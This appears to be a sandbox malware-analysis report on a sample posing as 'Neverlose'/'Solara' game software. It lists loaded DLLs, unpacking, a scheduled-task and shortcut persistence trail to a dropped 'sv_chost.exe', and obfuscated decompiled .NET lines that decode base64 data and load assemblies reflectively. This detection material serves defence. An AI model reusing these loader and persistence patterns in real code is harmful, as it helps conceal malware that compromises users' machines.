Source: C:\Users\user\AppData\Local\Temp\Solara.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\sv_chost.exe	Section loaded: cryptbase.dll

Source: C:\Users\user\Desktop\Neverlose.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F5FB2C77-0E2F-4A16-A381-3E560C68BC83}\InProcServer32

Source: sv_chost.lnk.4.dr

LNK file: ..\..\..\..\..\sv_chost.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\Neverlose.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Detected unpacking (changes PE section rights)

Source: Neverlose.exe

Static file information: File size 1189376 > 1048576

Source:	Binary string: C:\Users\Ashtin\Desktop\WTF\SolaraBootstrapper\SolaraBootstrapper\obj\Debug\SolaraBootstrapper.pdbgI source: Neverlose.exe, 00000000.00000002.1730503666.0000000003937000.00000004.00000800.00020000.00000000.sdmp, Neverlose.exe, 00000000.00000002.1730503666.0000000003921000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000000.1722482732.00000000008C2000.00000002.00000001.01000000.00000008.sdmp, SolaraBootstrapper.exe.0.dr
Source:	Binary string: C:\Users\Ashtin\Desktop\WTF\SolaraBootstrapper\SolaraBootstrapper\obj\Debug\SolaraBootstrapper.pdb source: Neverlose.exe, 00000000.00000002.1730503666.0000000003937000.00000004.00000800.00020000.00000000.sdmp, Neverlose.exe, 00000000.00000002.1730503666.0000000003921000.00000004.00000800.00020000.00000000.sdmp, SolaraBootstrapper.exe, 00000005.00000000.1722482732.00000000008C2000.00000002.00000001.01000000.00000008.sdmp, SolaraBootstrapper.exe.0.dr

Data Obfuscation

Source: C:\Users\user\Desktop\Neverlose.exe

Unpacked PE file: 0.2.Neverlose.exe.ff0000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;.rsrc:EW;Unknown_Section4:EW;.data:EW; vs Unknown_Section0:ER;Unknown_Section1:R;Unknown_Section2:R;.rsrc:ER;Unknown_Section4:ER;.data:ER;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\Neverlose.exe

Unpacked PE file: 0.2.Neverlose.exe.ff0000.0.unpack

.NET source code contains method to dynamically call methods (often used by packers)

Source: Solara.exe.0.dr, Lt0dqqWTBCH6whG4NLnykxcqor0GoQWjCil4LRCzURXZ4A85bVs6pPNrPRFGhJrcWBGLgDUolmJZPY1MXXQqMON8GY62EkGoPO.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{FNA2ULLgARIpzwFesiV1v0hEBu7pqRep1y0pIlxqyyWEoOP7nxsGotFsZONtlrl3vjaO6mPqWzZ11Iqi5XCwj5LtgIbCLwaBlN.szGPQ7UTots3KPdn1WsV8LNvCaApK1XrzWN1sd8X2KIOymxnxoupHlXKuyaT5Zc0jGMZ0I3ZpopawQdmSo7LxdrrrLaGW6hsR5,FNA2ULLgARIpzwFesiV1v0hEBu7pqRep1y0pIlxqyyWEoOP7nxsGotFsZONtlrl3vjaO6mPqWzZ11Iqi5XCwj5LtgIbCLwaBlN.XnwC07Nw6o7Z2fcaGFN9ettblBVf3C7MVKoe0ModdfG8jK4wRTL9owBW5dIn27QtwGlkDMOiYhoHgDATvHjEW1UZWAs3cLJ1lp,FNA2ULLgARIpzwFesiV1v0hEBu7pqRep1y0pIlxqyyWEoOP7nxsGotFsZONtlrl3vjaO6mPqWzZ11Iqi5XCwj5LtgIbCLwaBlN.nmcKlcCMqDFPzoSiDUYg5ArBDWY0KEbKvzFTvpqgAxULjY1UaP8sCRWJhfCvPldVdsrHGcqLOiWhhQm90u43qLvzTVyeZQvshg,FNA2ULLgARIpzwFesiV1v0hEBu7pqRep1y0pIlxqyyWEoOP7nxsGotFsZONtlrl3vjaO6mPqWzZ11Iqi5XCwj5LtgIbCLwaBlN.So79eC3oS7fllvkYLdVdPDTSYdE623O6DZs1mNtAThaYJFaSFNHK6n8fOWtYrI47tFSXox5N3Lt9dHEoKRD6V7EUTTKXqoWXGP,rKw0lbvJvj9v9nQmNRYVdkaAc.mqCA7aLoPydYPnMhmR8mOF7U4()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: Solara.exe.0.dr, Lt0dqqWTBCH6whG4NLnykxcqor0GoQWjCil4LRCzURXZ4A85bVs6pPNrPRFGhJrcWBGLgDUolmJZPY1MXXQqMON8GY62EkGoPO.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{BdMqCjG9gU04v12ME0bHeB46R0GHv3JD3twCj63kU97qdzEtcJ4XJaTNH0otAcQrtaMS7wZPiObCYSGDfITP7Ed4sJtGkFOzhY[2],rKw0lbvJvj9v9nQmNRYVdkaAc.eEPaikmGKzZgLb0EaDzejP8VO(Convert.FromBase64String(BdMqCjG9gU04v12ME0bHeB46R0GHv3JD3twCj63kU97qdzEtcJ4XJaTNH0otAcQrtaMS7wZPiObCYSGDfITP7Ed4sJtGkFOzhY[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: Solara.exe.0.dr, Lt0dqqWTBCH6whG4NLnykxcqor0GoQWjCil4LRCzURXZ4A85bVs6pPNrPRFGhJrcWBGLgDUolmJZPY1MXXQqMON8GY62EkGoPO.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { BdMqCjG9gU04v12ME0bHeB46R0GHv3JD3twCj63kU97qdzEtcJ4XJaTNH0otAcQrtaMS7wZPiObCYSGDfITP7Ed4sJtGkFOzhY[2] }}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.Neverlose.exe.3942eb0.5.raw.unpack, Lt0dqqWTBCH6whG4NLnykxcqor0GoQWjCil4LRCzURXZ4A85bVs6pPNrPRFGhJrcWBGLgDUolmJZPY1MXXQqMON8GY62EkGoPO.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{FNA2ULLgARIpzwFesiV1v0hEBu7pqRep1y0pIlxqyyWEoOP7nxsGotFsZONtlrl3vjaO6mPqWzZ11Iqi5XCwj5LtgIbCLwaBlN.szGPQ7UTots3KPdn1WsV8LNvCaApK1XrzWN1sd8X2KIOymxnxoupHlXKuyaT5Zc0jGMZ0I3ZpopawQdmSo7LxdrrrLaGW6hsR5,FNA2ULLgARIpzwFesiV1v0hEBu7pqRep1y0pIlxqyyWEoOP7nxsGotFsZONtlrl3vjaO6mPqWzZ11Iqi5XCwj5LtgIbCLwaBlN.XnwC07Nw6o7Z2fcaGFN9ettblBVf3C7MVKoe0ModdfG8jK4wRTL9owBW5dIn27QtwGlkDMOiYhoHgDATvHjEW1UZWAs3cLJ1lp,FNA2ULLgARIpzwFesiV1v0hEBu7pqRep1y0pIlxqyyWEoOP7nxsGotFsZONtlrl3vjaO6mPqWzZ11Iqi5XCwj5LtgIbCLwaBlN.nmcKlcCMqDFPzoSiDUYg5ArBDWY0KEbKvzFTvpqgAxULjY1UaP8sCRWJhfCvPldVdsrHGcqLOiWhhQm90u43qLvzTVyeZQvshg,FNA2ULLgARIpzwFesiV1v0hEBu7pqRep1y0pIlxqyyWEoOP7nxsGotFsZONtlrl3vjaO6mPqWzZ11Iqi5XCwj5LtgIbCLwaBlN.So79eC3oS7fllvkYLdVdPDTSYdE623O6DZs1mNtAThaYJFaSFNHK6n8fOWtYrI47tFSXox5N3Lt9dHEoKRD6V7EUTTKXqoWXGP,rKw0lbvJvj9v9nQmNRYVdkaAc.mqCA7aLoPydYPnMhmR8mOF7U4()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.Neverlose.exe.3942eb0.5.raw.unpack, Lt0dqqWTBCH6whG4NLnykxcqor0GoQWjCil4LRCzURXZ4A85bVs6pPNrPRFGhJrcWBGLgDUolmJZPY1MXXQqMON8GY62EkGoPO.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{BdMqCjG9gU04v12ME0bHeB46R0GHv3JD3twCj63kU97qdzEtcJ4XJaTNH0otAcQrtaMS7wZPiObCYSGDfITP7Ed4sJtGkFOzhY[2],rKw0lbvJvj9v9nQmNRYVdkaAc.eEPaikmGKzZgLb0EaDzejP8VO(Convert.FromBase64String(BdMqCjG9gU04v12ME0bHeB46R0GHv3JD3twCj63kU97qdzEtcJ4XJaTNH0otAcQrtaMS7wZPiObCYSGDfITP7Ed4sJtGkFOzhY[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 0.2.Neverlose.exe.3942eb0.5.raw.unpack, Lt0dqqWTBCH6whG4NLnykxcqor0GoQWjCil4LRCzURXZ4A85bVs6pPNrPRFGhJrcWBGLgDUolmJZPY1MXXQqMON8GY62EkGoPO.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { BdMqCjG9gU04v12ME0bHeB46R0GHv3JD3twCj63kU97qdzEtcJ4XJaTNH0otAcQrtaMS7wZPiObCYSGDfITP7Ed4sJtGkFOzhY[2] }}, (string[])null, (Type[])null, (bool[])null, true)
Source: sv_chost.exe.4.dr, Lt0dqqWTBCH6whG4NLnykxcqor0GoQWjCil4LRCzURXZ4A85bVs6pPNrPRFGhJrcWBGLgDUolmJZPY1MXXQqMON8GY62EkGoPO.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{FNA2ULLgARIpzwFesiV1v0hEBu7pqRep1y0pIlxqyyWEoOP7nxsGotFsZONtlrl3vjaO6mPqWzZ11Iqi5XCwj5LtgIbCLwaBlN.szGPQ7UTots3KPdn1WsV8LNvCaApK1XrzWN1sd8X2KIOymxnxoupHlXKuyaT5Zc0jGMZ0I3ZpopawQdmSo7LxdrrrLaGW6hsR5,FNA2ULLgARIpzwFesiV1v0hEBu7pqRep1y0pIlxqyyWEoOP7nxsGotFsZONtlrl3vjaO6mPqWzZ11Iqi5XCwj5LtgIbCLwaBlN.XnwC07Nw6o7Z2fcaGFN9ettblBVf3C7MVKoe0ModdfG8jK4wRTL9owBW5dIn27QtwGlkDMOiYhoHgDATvHjEW1UZWAs3cLJ1lp,FNA2ULLgARIpzwFesiV1v0hEBu7pqRep1y0pIlxqyyWEoOP7nxsGotFsZONtlrl3vjaO6mPqWzZ11Iqi5XCwj5LtgIbCLwaBlN.nmcKlcCMqDFPzoSiDUYg5ArBDWY0KEbKvzFTvpqgAxULjY1UaP8sCRWJhfCvPldVdsrHGcqLOiWhhQm90u43qLvzTVyeZQvshg,FNA2ULLgARIpzwFesiV1v0hEBu7pqRep1y0pIlxqyyWEoOP7nxsGotFsZONtlrl3vjaO6mPqWzZ11Iqi5XCwj5LtgIbCLwaBlN.So79eC3oS7fllvkYLdVdPDTSYdE623O6DZs1mNtAThaYJFaSFNHK6n8fOWtYrI47tFSXox5N3Lt9dHEoKRD6V7EUTTKXqoWXGP,rKw0lbvJvj9v9nQmNRYVdkaAc.mqCA7aLoPydYPnMhmR8mOF7U4()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: sv_chost.exe.4.dr, Lt0dqqWTBCH6whG4NLnykxcqor0GoQWjCil4LRCzURXZ4A85bVs6pPNrPRFGhJrcWBGLgDUolmJZPY1MXXQqMON8GY62EkGoPO.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{BdMqCjG9gU04v12ME0bHeB46R0GHv3JD3twCj63kU97qdzEtcJ4XJaTNH0otAcQrtaMS7wZPiObCYSGDfITP7Ed4sJtGkFOzhY[2],rKw0lbvJvj9v9nQmNRYVdkaAc.eEPaikmGKzZgLb0EaDzejP8VO(Convert.FromBase64String(BdMqCjG9gU04v12ME0bHeB46R0GHv3JD3twCj63kU97qdzEtcJ4XJaTNH0otAcQrtaMS7wZPiObCYSGDfITP7Ed4sJtGkFOzhY[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: sv_chost.exe.4.dr, Lt0dqqWTBCH6whG4NLnykxcqor0GoQWjCil4LRCzURXZ4A85bVs6pPNrPRFGhJrcWBGLgDUolmJZPY1MXXQqMON8GY62EkGoPO.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[1] { BdMqCjG9gU04v12ME0bHeB46R0GHv3JD3twCj63kU97qdzEtcJ4XJaTNH0otAcQrtaMS7wZPiObCYSGDfITP7Ed4sJtGkFOzhY[2] }}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: Solara.exe.0.dr, Lt0dqqWTBCH6whG4NLnykxcqor0GoQWjCil4LRCzURXZ4A85bVs6pPNrPRFGhJrcWBGLgDUolmJZPY1MXXQqMON8GY62EkGoPO.cs	.Net Code: _8wGo8NDHX8IchWy5emXSDv58GsBJnMRJrxlvCNrMLX48UbwnmVQfxREEfpw4G2Tuu4auegCyaaryctNC0Q0nLeRkTUs3XboLtu System.AppDomain.Load(byte[])
Source: Solara.exe.0.dr, Lt0dqqWTBCH6whG4NLnykxcqor0GoQWjCil4LRCzURXZ4A85bVs6pPNrPRFGhJrcWBGLgDUolmJZPY1MXXQqMON8GY62EkGoPO.cs	.Net Code: k3WtfJUop8AeC75aF9MWXOvU0kyc3RiYETDEPJr65npFYnL3qh4psu9CQUQlfkRh364qXdM9yt6ZpsLb67ydFLXZGdTD2DgmnS System.AppDomain.Load(byte[])
Source: Solara.exe.0.dr, Lt0dqqWTBCH6whG4NLnykxcqor0GoQWjCil4LRCzURXZ4A85bVs6pPNrPRFGhJrcWBGLgDUolmJZPY1MXXQqMON8GY62EkGoPO.cs	.Net Code: k3WtfJUop8AeC75aF9MWXOvU0kyc3RiYETDEPJr65npFYnL3qh4psu9CQUQlfkRh364qXdM9yt6ZpsLb67ydFLXZGdTD2DgmnS
Source: 0.2.Neverlose.exe.3942eb0.5.raw.unpack, Lt0dqqWTBCH6whG4NLnykxcqor0GoQWjCil4LRCzURXZ4A85bVs6pPNrPRFGhJrcWBGLgDUolmJZPY1MXXQqMON8GY62EkGoPO.cs	.Net Code: _8wGo8NDHX8IchWy5emXSDv58GsBJnMRJrxlvCNrMLX48UbwnmVQfxREEfpw4G2Tuu4auegCyaaryctNC0Q0nLeRkTUs3XboLtu System.AppDomain.Load(byte[])
Source: 0.2.Neverlose.exe.3942eb0.5.raw.unpack, Lt0dqqWTBCH6whG4NLnykxcqor0GoQWjCil4LRCzURXZ4A85bVs6pPNrPRFGhJrcWBGLgDUolmJZPY1MXXQqMON8GY62EkGoPO.cs	.Net Code: k3WtfJUop8AeC75aF9MWXOvU0kyc3RiYETDEPJr65npFYnL3qh4psu9CQUQlfkRh364qXdM9yt6ZpsLb67ydFLXZGdTD2DgmnS System.AppDomain.Load(byte[])
Source: 0.2.Neverlose.exe.3942eb0.5.raw.unpack, Lt0dqqWTBCH6whG4NLnykxcqor0GoQWjCil4LRCzURXZ4A85bVs6pPNrPRFGhJrcWBGLgDUolmJZPY1MXXQqMON8GY62EkGoPO.cs	.Net Code: k3WtfJUop8AeC75aF9MWXOvU0kyc3RiYETDEPJr65npFYnL3qh4psu9CQUQlfkRh364qXdM9yt6ZpsLb67ydFLXZGdTD2DgmnS
Source: sv_chost.exe.4.dr, Lt0dqqWTBCH6whG4NLnykxcqor0GoQWjCil4LRCzURXZ4A85bVs6pPNrPRFGhJrcWBGLgDUolmJZPY1MXXQqMON8GY62EkGoPO.cs	.Net Code: _8wGo8NDHX8IchWy5emXSDv58GsBJnMRJrxlvCNrMLX48UbwnmVQfxREEfpw4G2Tuu4auegCyaaryctNC0Q0nLeRkTUs3XboLtu System.AppDomain.Load(byte[])
Source: sv_chost.exe.4.dr, Lt0dqqWTBCH6whG4NLnykxcqor0GoQWjCil4LRCzURXZ4A85bVs6pPNrPRFGhJrcWBGLgDUolmJZPY1MXXQqMON8GY62EkGoPO.cs	.Net Code: k3WtfJUop8AeC75aF9MWXOvU0kyc3RiYETDEPJr65npFYnL3qh4psu9CQUQlfkRh364qXdM9yt6ZpsLb67ydFLXZGdTD2DgmnS System.AppDomain.Load(byte[])
Source: sv_chost.exe.4.dr, Lt0dqqWTBCH6whG4NLnykxcqor0GoQWjCil4LRCzURXZ4A85bVs6pPNrPRFGhJrcWBGLgDUolmJZPY1MXXQqMON8GY62EkGoPO.cs	.Net Code: k3WtfJUop8AeC75aF9MWXOvU0kyc3RiYETDEPJr65npFYnL3qh4psu9CQUQlfkRh364qXdM9yt6ZpsLb67ydFLXZGdTD2DgmnS

Source: SolaraBootstrapper.exe.0.dr

Static PE information: 0x9EA529E4 [Tue May 5 20:04:52 2054 UTC]

Source: Neverlose.exe	Static PE information: section name:
Source: Neverlose.exe	Static PE information: section name:
Source: Neverlose.exe	Static PE information: section name:
Source: Neverlose.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\Neverlose.exe	Code function: 0_2_01353D5C push D3AFC910h; retf	0_2_01353D61
Source: C:\Users\user\Desktop\Neverlose.exe	Code function: 0_2_0135559F pushfd ; iretd	0_2_0135569B
Source: C:\Users\user\Desktop\Neverlose.exe	Code function: 0_2_013559D1 push ecx; ret	0_2_013559DF
Source: C:\Users\user\Desktop\Neverlose.exe	Code function: 0_2_013555C7 pushfd ; iretd	0_2_0135569B
Source: C:\Users\user\Desktop\Neverlose.exe	Code function: 0_2_01355608 pushfd ; iretd	0_2_0135569B
Source: C:\Users\user\Desktop\Neverlose.exe	Code function: 0_2_0135569C pushfd ; iretd	0_2_0135569B
Source: C:\Users\user\Desktop\Neverlose.exe	Code function: 0_2_013538F7 push 00000048h; retf	0_2_01353916
Source: C:\Users\user\Desktop\Neverlose.exe	Code function: 0_2_01356AE0 push 1ACE3110h; iretd	0_2_01356AE5
Source: C:\Users\user\Desktop\Neverlose.exe	Code function: 0_2_01354EDD push ebx; iretd	0_2_01354EDE
Source: C:\Users\user\Desktop\Neverlose.exe	Code function: 0_2_01024104 push ecx; mov dword ptr [esp], edx	0_2_01024109
Source: C:\Users\user\Desktop\Neverlose.exe	Code function: 0_2_0102819C push ecx; mov dword ptr [esp], edx	0_2_0102819E
Source: C:\Users\user\Desktop\Neverlose.exe	Code function: 0_2_0102432C push ecx; mov dword ptr [esp], edx	0_2_01024331
Source: C:\Users\user\Desktop\Neverlose.exe	Code function: 0_2_010103EA push 01010418h; ret	0_2_01010410
Source: C:\Users\user\Desktop\Neverlose.exe	Code function: 0_2_01020536 push 010205B5h; ret	0_2_010205AD
Source: C:\Users\user\Desktop\Neverlose.exe	Code function: 0_2_0102654C push ecx; mov dword ptr [esp], edx	0_2_0102654D
Source: C:\Users\user\Desktop\Neverlose.exe	Code function: 0_2_01018556 push 010186D8h; ret	0_2_010186D0
Source: C:\Users\user\Desktop\Neverlose.exe	Code function: 0_2_0100E5F0 push 0100E641h; ret	0_2_0100E639
Source: C:\Users\user\Desktop\Neverlose.exe	Code function: 0_2_0102E40C push ecx; mov dword ptr [esp], edx	0_2_0102E411
Source: C:\Users\user\Desktop\Neverlose.exe	Code function: 0_2_01010424 push 01010450h; ret	0_2_01010448
Source: C:\Users\user\Desktop\Neverlose.exe	Code function: 0_2_01024448 push ecx; mov dword ptr [esp], edx	0_2_0102444D
Source: C:\Users\user\Desktop\Neverlose.exe	Code function: 0_2_01022454 push 010224A1h; ret	0_2_01022499
Source: C:\Users\user\Desktop\Neverlose.exe	Code function: 0_2_0101045C push 01010488h; ret	0_2_01010480
Source: C:\Users\user\Desktop\Neverlose.exe	Code function: 0_2_0102448C push ecx; mov dword ptr [esp], edx	0_2_01024491
